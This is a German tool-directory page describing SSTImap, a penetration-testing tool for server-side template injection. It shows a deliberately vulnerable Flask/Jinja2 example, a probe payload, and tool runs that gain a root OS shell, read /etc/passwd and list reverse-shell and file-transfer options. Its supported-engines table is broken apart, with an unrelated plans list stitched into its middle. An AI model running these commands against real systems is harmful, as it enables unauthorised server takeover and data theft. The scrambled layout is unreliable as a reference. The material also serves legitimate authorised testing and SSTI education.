Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SSTImap — Automatisches SSTI-Erkennungstool mit interaktiver Oberfläche | Kitploit
Tools/GitHubGitHub/vladko312/sstimap
SchwachstellenscannerPayload-GenerierungCode-AnalyseDynamische Code-Analyse (DAST)ExploitationWebanwendungs-ExploitationFuzzingPenetrationstestsCommand and Control
GitHubvladko312/sstimap

SSTImap

Automatisches SSTI-Erkennungstool mit interaktiver Oberfläche

1.6k177107vor 21 TagenVon Kitploit geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Dieses Projekt basiert auf Tplmap.

SSTImap ist eine Penetrationstest-Software, die Websites auf Code-Injection- und Server-Side-Template-Injection-Schwachstellen prüfen und diese ausnutzen kann, wodurch Zugriff auf das Betriebssystem selbst gewährt wird.

Dieses Tool wurde entwickelt, um als interaktives Penetrationstest-Werkzeug für die Erkennung und Ausnutzung von SSTI zu dienen, was eine fortgeschrittenere Ausnutzung ermöglicht. Weitere Payloads für SSTImap finden Sie hier.

Payloads und Techniken stammen von:

Tool herunterladen
  • James Kettle's Server-Side Template Injection: RCE For The Modern Web App
  • Andere öffentliche Forschungen [1] [2] [8]
  • Beiträge zu Tplmap [3] [4]
  • Meine eigene Forschung [9]

Dieses Tool ist in der Lage, einige Code-Kontext-Escapes und Blind-Injection-Szenarien auszunutzen. Es unterstützt außerdem eval()-ähnliche Code-Injection in Java, JavaScript, PHP, Python, Ruby und generische, nicht gesandboxte Template-Engines.

Hauptunterschiede zu Tplmap

Auch wenn diese Software auf dem Code von Tplmap basiert, wird keine Abwärtskompatibilität gewährleistet.

  • Zwei neue Techniken zur SSTI-Erkennung und -Ausnutzung hinzugefügt
  • Interaktiver Modus (-i), der eine einfachere Ausnutzung und Erkennung ermöglicht
  • Einfache Auswertungs-Payloads als Antwortmarker bei Payload-Reflexion
  • Neue Payloads für generische Templates hinzugefügt; zum Testen aller Kontexte --generic verwenden
  • Generische Erkennung von Template-Injection durch Auswertung mit dem Eval_generic-Modul
  • Basis-Sprach-eval()-ähnliche Shell (-x) oder Einzelbefehlsausführung (-X)
  • Blinder Datei-Upload unterstützt jetzt MD5-Bestätigung und Dateiexistenzprüfung
  • Neue Payloads für weitere Templates hinzugefügt und viele bestehende Payloads aktualisiert
  • Modulare Plugin-Struktur, die die Installation zusätzlicher Plugins ermöglicht
  • Unterstützung für verschiedene POST-Datentypen
  • Crawling und Formularerkennung hinzugefügt
  • Kurzversionen für viele Argumente hinzugefügt
  • Einige alte Befehlszeilenargumente wurden geändert; Hilfe mit -h anzeigen
  • Code wurde geändert, um neuere Python-Funktionen zu nutzen
  • Burp-Suite-Erweiterung vorübergehend entfernt, da Jython Python3 nicht unterstützt

Server-Side Template Injection

Dies ist ein Beispiel für eine einfache Website, die in Python mit dem Flask-Framework und der Jinja2-Template-Engine geschrieben wurde. Sie integriert die vom Benutzer bereitgestellte Variable name auf unsichere Weise, da sie vor dem Rendern an die Template-Zeichenkette angehängt wird.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI-SCHWACHSTELLE:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Diese Art der Template-Verwendung erzeugt nicht nur eine XSS-Schwachstelle, sondern ermöglicht es dem Angreifer auch, Template-Code zu injizieren, der auf dem Server ausgeführt wird, was zu SSTI führt.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

Vom Benutzer bereitgestellte Eingaben sollten auf sichere Weise über den Rendering-Kontext eingeführt werden:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Vorgegebener Modus

SSTImap im vorgegebenen Modus ist Tplmap sehr ähnlich. Es ist in der Lage, SSTI-Schwachstellen in mehreren verschiedenen Templates zu erkennen und auszunutzen.

Nach der Ausnutzung kann SSTImap Zugriff auf Code-Auswertung, Ausführung von Betriebssystembefehlen und Dateisystemmanipulationen bieten.

Um die URL zu prüfen, können Sie das Argument -u verwenden:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Verwenden Sie die Option --os-shell, um eine Pseudo-Terminal auf dem Ziel zu starten.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Um eine vollständige Liste der Optionen zu erhalten, verwenden Sie das Argument --help.

Interaktiver Modus

Im interaktiven Modus werden Befehle verwendet, um mit SSTImap zu interagieren. Um in den interaktiven Modus zu gelangen, können Sie das Argument -i verwenden. Alle anderen Argumente, außer denen, die Ausnutzungs-Payloads betreffen, werden als Anfangswerte für die Einstellungen verwendet.

Einige Befehle dienen dazu, Einstellungen zwischen Testläufen zu ändern. Um einen Test auszuführen, muss die Ziel-URL über das anfängliche Argument -u oder den Befehl url angegeben werden. Danach können Sie den Befehl run verwenden, um die URL auf SSTI zu prüfen.

Wenn SSTI gefunden wurde, können Befehle verwendet werden, um die Ausnutzung zu starten. Sie erhalten dieselben Ausnutzungsmöglichkeiten wie im vorgegebenen Modus, können sie jedoch mit Ctrl+C abbrechen, ohne das Programm zu beenden.

Übrigens sind die Testergebnisse gültig, bis die Ziel-URL geändert wird, sodass Sie problemlos zwischen Ausnutzungsmethoden wechseln können, ohne jedes Mal einen Erkennungstest auszuführen.

Um eine vollständige Liste der interaktiven Befehle zu erhalten, verwenden Sie den Befehl help im interaktiven Modus.

Unterstützte Template-Engines

SSTImap unterstützt mehrere Template-Engines und eval()-ähnliche Injectionen.

Neue Payloads sind in Pull Requests willkommen. Schauen Sie sich die Tipps an, um die Entwicklung zu beschleunigen.

EngineRCETechSpracheTyp
Freemarker✓REBTJavaStandard
Java generische EL-Injectionen✓REBTJavaStandard
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaStandard
Velocity✓REBTJavaStandard
Nunjucks✓REBTJavaScriptStandard
Velocity.js✓REBTJavaScriptStandard
JavaScript (code eval)✓REBTJavaScriptStandard
JavaScript-basierte generische Templates✓REBTJavaScriptStandard
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPStandard
PHP (code eval)✓REBTPHPStandard
PHP-basierte generische Templates✓REBTPHPStandard
Jinja2✓REBTPythonStandard
Python (code eval)✓REBTPythonStandard
Python-basierte generische Templates✓REBTPythonStandard
ERB✓REBTRubyStandard
Mustache (<=1.1.2; nur Erkennung)×reb_RubyStandard
Slim✓REBTRubyStandard
Ruby (code eval)✓REBTRubyStandard
Generische auswertende Templates×Reb_*Standard
SpEL (Spring EL code eval)✓REBTJavaGenerisch
doT✓REBT

Techniken: (R)endered, (E)rror-based, (B)oolean error-based blind und (T)ime-based blind; Kleinbuchstaben kennzeichnen eine teilweise unterstützte Technik

Weitere Plugins und Payloads finden Sie im Repository SSTImap Extra Plugins.

Burp-Suite-Plugin

Derzeit funktioniert Burp Suite nur mit Jython als Möglichkeit, Python2 auszuführen. Python3-Funktionalität wird nicht bereitgestellt.

Zukünftige Pläne

Wenn Sie planen, etwas Großes aus dieser Liste beizutragen, informieren Sie mich, um zu vermeiden, dass Sie an derselben Sache arbeiten wie ich oder andere Mitwirkende.

  • Weitere Payloads für verschiedene Engines hinzufügen
  • Plugins weniger abhängig von Basis-Plugins machen
  • Rohe HTTP-Anfrage aus Datei parsen
  • Funktionalität zum Ausgeben von Variablen
  • Blind-/Seitenkanal-Wertextraktion
  • Bessere Dokumentation (oder zumindest irgendeine Dokumentation)
  • Kurze Argumente als interaktive Befehle?
  • JSONL-/Klartext-API-Modi für Skriptintegrationen?
  • Bessere Integration für Python-Skripte
  • Unterstützung für Multipart-POST-Datentypen
  • Module für besser anpassbare Anfragen (Second Order, Reset, Nicht-HTTP)
  • Payload-Verarbeitungsskripte
  • Bessere Konfigurationsfunktionalität
  • Speichern gefundener Schwachstellen
  • Berichte in HTML oder anderem Format
  • Mehrzeilige Sprachauswertung?
  • Plattformabhängigkeit in Payloads vermeiden
  • Mehrere Shells in exec-basierten RCE-Szenarien testen
  • NodeJS-Payloads aktualisieren, da process.mainModule undefiniert sein kann
  • Spider-/Crawler-Automatisierung (von fantesykikachu)
  • Automatischer Import von Sprachen und Engines
  • Unterstützung weiterer POST-Datentypen
  • Template- und Basis-Sprachauswertungsfunktionalität vereinheitlichen
  • Argument zum Entfernen von Escape-Codes?
JavaScript
Generisch
EJS✓REBTJavaScriptGenerisch
Marko✓REBTJavaScriptGenerisch
Pug✓REBTJavaScriptGenerisch
Smarty✓REBTPHPGenerisch
Cheetah✓REBTPythonGenerisch
Mako✓REBTPythonGenerisch
Tornado✓REBTPythonGenerisch
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19.0)✓REBTPHPLegacy
Pybars3 / Pybars4✓REBTPythonLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
Obskure auswertende Syntaxen×Reb_*Legacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
CVE-2026-46640✓REBTPHPExtra